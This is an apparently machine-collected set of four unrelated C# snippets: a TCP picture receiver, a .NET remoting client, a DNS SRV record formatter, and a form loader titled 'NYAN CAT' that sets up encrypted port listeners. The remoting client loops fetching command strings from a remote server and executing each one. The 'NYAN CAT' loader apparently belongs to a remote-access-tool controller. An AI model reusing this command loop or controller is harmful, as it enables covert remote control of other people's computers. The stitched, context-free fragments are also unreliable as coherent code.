static void Main(string[] args) { SimpleHTTPServer HTTPServ = new SimpleHTTPServer(".", 3801); /* File name for received picture */ const String FILE_NAME = "Received.jpg"; /* Port for incoming connections */ const int PORT = 3800; /* The IPEndPoint for the server. IP cannot be localhost */ System.Net.IPEndPoint remoteIpEndPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Any, PORT); Console.WriteLine("Listening for connections on port " + PORT.ToString()); /* After this amount of time has passed, any connection will be terminated * Keep high for high latency networks and vice versa */ const int TIMEOUT = 1000; /* Start listening for connections */ System.Net.Sockets.TcpListener tcpListener = new System.Net.Sockets.TcpListener(remoteIpEndPoint); tcpListener.Start(); /* Create the listening thread */ Console.WriteLine("Creating the Child Thread"); System.Threading.Thread connectThread = new System.Threading.Thread(() => StartConnect(tcpListener, TIMEOUT, FILE_NAME)); connectThread.Start(); /* Terminate on keypress */ Console.ReadKey(); connectThread.Abort(); /* Clean up and open the received file */ tcpListener.Stop(); System.Diagnostics.Process.Start(FILE_NAME); }
static void Main(string[] args) { var serverIp = args[0]; var port = Int32.Parse(args[1]); #if !(ClientAO) // Server Activated Objects var remoteObject = (RemotableObjects.RemoteClass)Activator.GetObject( typeof(RemotableObjects.RemoteClass), string.Format("tcp://{0}:{1}/{2}", serverIp, PORT.ToString(), APP_NAME)); #else // Client Activated Objects RemotingConfiguration.RegisterActivatedClientType( typeof(RemotableObjects.RemoteClass), string.Format("tcp://{0}:{1}/{2}", serverIp, port.ToString(), APP_NAME)); var remoteObject = new RemotableObjects.RemoteClass(); #endif var info = GetInitData(); if (remoteObject.Init(info) == null) { return; } while (true) { string command = remoteObject.GetCommand(); if (command == null) { break; } if (command.Length > 0) { int iSpace = command.IndexOf(' '); string fileName = string.Empty; string arguments = string.Empty; if (iSpace == -1) { fileName = command; } else { fileName = command.Substring(0, iSpace); arguments = command.Substring(iSpace + 1); } Process.Start(fileName, arguments); } Thread.Sleep(1000); } remoteObject.Terminate(); }
public override string ToString(int namePadding) { // _sip._tcp.example.com. 86400 IN SRV 0 5 5060 sipserver.example.com. return(String.Join(" ", new string[] { Base.ToString(namePadding), PRIORITY.ToString(), WEIGHT.ToString(), PORT.ToString(), TARGET.ToString() })); }
private void Form1_Load(object sender, EventArgs e) { Text = $"{Settings.Version} // NYAN CAT"; PortsFrm portsFrm = new PortsFrm(); portsFrm.ShowDialog(); Methods.FadeIn(this, 5); Settings.Port = portsFrm.textPorts.Text; Settings.Password = portsFrm.textPassword.Text; Settings.aes256 = new Aes256(Settings.Password); string[] P = Settings.Port.Split(','); foreach (var PORT in P) { if (!string.IsNullOrWhiteSpace(PORT)) { listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); thread.Start(Convert.ToInt32(PORT.ToString().Trim())); } } }